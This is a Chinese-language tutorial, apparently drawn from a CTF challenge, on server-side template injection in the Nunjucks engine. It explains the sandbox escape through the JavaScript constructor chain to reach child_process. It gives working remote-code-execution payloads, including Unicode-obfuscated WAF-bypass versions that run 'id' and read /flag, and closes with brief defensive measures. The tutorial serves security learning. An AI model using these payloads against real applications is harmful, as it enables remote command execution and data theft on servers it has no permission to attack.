从一道题目学习Nunjucks模板
字数 1120 2025-08-24 07:48:09

Nunjucks模板引擎SSTI漏洞深入解析与利用

1. Nunjucks模板引擎简介

Nunjucks是一个功能丰富的JavaScript专用模板引擎,提供以下特性:

  • 块继承
  • 自动转移
  • 异步控制
  • 沙箱环境执行(默认剥离全局对象)

安全特性:Nunjucks模板代码在沙箱环境中运行,剥离了全局对象以限制沙箱逃逸和任意代码执行。

2. Nunjucks基础语法

2.1 注释语法

<!-- HTML注释(会编译到HTML文件中) -->
{# Nunjucks注释(不会编译到HTML文件中) #}

2.2 插值语法

<p>用户名是:{{username}}</p>

2.3 判断语句

{% if num > 3 %}
  <p>num的值大于3</p>
{% elseif num < 3 %}
  <p>num的值小于3</p>
{% else %}
  <p>num的值等于3</p>
{% endif %}

2.4 循环语句

<ul>
{% for item in items %}
  <li>姓名是: {{item.name}} 年龄是: {{item.age}}</li>
{% endfor %}
</ul>

2.5 过滤器

{{ "hello world" | replace("world", "你好") | capitalize }}
<!-- 输出: Hello 你好 -->

3. Nunjucks SSTI漏洞原理

3.1 全局函数

Nunjucks模板引擎中定义了三个全局函数:

  1. range([start], stop, [step]) - 生成数字序列
  2. cycler(item1, item2, ...itemN) - 循环遍历多个值
  3. joiner([separator]) - 组合多个项目并用分隔符连接

3.2 JavaScript原型链利用

关键概念:

  • 每个对象的constructor属性指向其构造函数
  • 通过构造函数的构造函数可以创建新的函数
  • 利用这个特性可以突破沙箱限制

示例:

// 获取字符串的构造函数
'string'.constructor  // [Function: String]

// 获取函数的构造函数
function say(word) { console.log(word); }
say.constructor  // [Function: Function]

// 创建匿名函数执行代码
say.constructor("return console.log('success')")()  // 输出"success"

4. 沙箱逃逸技术

4.1 关键JavaScript对象

  1. global - 全局对象
  2. process - Node.js进程对象
  3. mainModule - 应用程序入口模块
  4. child_process - 创建子进程的模块

4.2 基本Payload结构

{{range.constructor("return global.process.mainModule.require('child_process').execSync('calc')")()}}

4.3 绕过WAF的技术

常见过滤项

  • joiner, range, cycler
  • constructor, toString
  • mainModule, main, require
  • process, exec, spawn
  • .符号, 空格等

绕过方法

  1. 字符串拼接:
    "toSt" + "ring"  // "toString"
    "const" + "ructor"  // "constructor"
    
  2. Unicode编码:
    \u0070\u0072\u006f\u0063\u0065\u0073\u0073  // "process"
    
  3. 使用[]代替.
    'string'['toString']  // 等同于 'string'.toString
    

4.4 完整绕过Payload示例

执行命令id

{{ "string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"id\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}

读取文件/flag

{{ "string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u006c\\u0061\\u0067\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}

5. 防御措施

  1. 避免直接将用户输入作为模板渲染
  2. 对用户输入进行严格的过滤和转义
  3. 使用Nunjucks的安全配置选项
  4. 限制模板中可以访问的对象和方法
  5. 及时更新Nunjucks到最新版本

6. 总结

Nunjucks SSTI漏洞利用的关键在于:

  1. 识别模板引擎类型(通过{{7*7}}等测试)
  2. 利用有限的全局函数(range/cycler/joiner)
  3. 通过JavaScript原型链获取函数构造函数
  4. 构造能够执行任意代码的函数
  5. 绕过可能的WAF限制(拼接、编码等)
  6. 最终实现命令执行或文件读取

理解这些原理和技术对于Web安全研究和防御此类漏洞至关重要。

Nunjucks模板引擎SSTI漏洞深入解析与利用 1. Nunjucks模板引擎简介 Nunjucks是一个功能丰富的JavaScript专用模板引擎,提供以下特性: 块继承 自动转移 宏 异步控制 沙箱环境执行(默认剥离全局对象) 安全特性 :Nunjucks模板代码在沙箱环境中运行,剥离了全局对象以限制沙箱逃逸和任意代码执行。 2. Nunjucks基础语法 2.1 注释语法 2.2 插值语法 2.3 判断语句 2.4 循环语句 2.5 过滤器 3. Nunjucks SSTI漏洞原理 3.1 全局函数 Nunjucks模板引擎中定义了三个全局函数: range([start], stop, [step]) - 生成数字序列 cycler(item1, item2, ...itemN) - 循环遍历多个值 joiner([separator]) - 组合多个项目并用分隔符连接 3.2 JavaScript原型链利用 关键概念: 每个对象的 constructor 属性指向其构造函数 通过构造函数的构造函数可以创建新的函数 利用这个特性可以突破沙箱限制 示例: 4. 沙箱逃逸技术 4.1 关键JavaScript对象 global - 全局对象 process - Node.js进程对象 mainModule - 应用程序入口模块 child_process - 创建子进程的模块 4.2 基本Payload结构 4.3 绕过WAF的技术 常见过滤项 : joiner , range , cycler constructor , toString mainModule , main , require process , exec , spawn . 符号, 空格等 绕过方法 : 字符串拼接: Unicode编码: 使用 [] 代替 . : 4.4 完整绕过Payload示例 执行命令 id : 读取文件 /flag : 5. 防御措施 避免直接将用户输入作为模板渲染 对用户输入进行严格的过滤和转义 使用Nunjucks的安全配置选项 限制模板中可以访问的对象和方法 及时更新Nunjucks到最新版本 6. 总结 Nunjucks SSTI漏洞利用的关键在于: 识别模板引擎类型(通过 {{7*7}} 等测试) 利用有限的全局函数(range/cycler/joiner) 通过JavaScript原型链获取函数构造函数 构造能够执行任意代码的函数 绕过可能的WAF限制(拼接、编码等) 最终实现命令执行或文件读取 理解这些原理和技术对于Web安全研究和防御此类漏洞至关重要。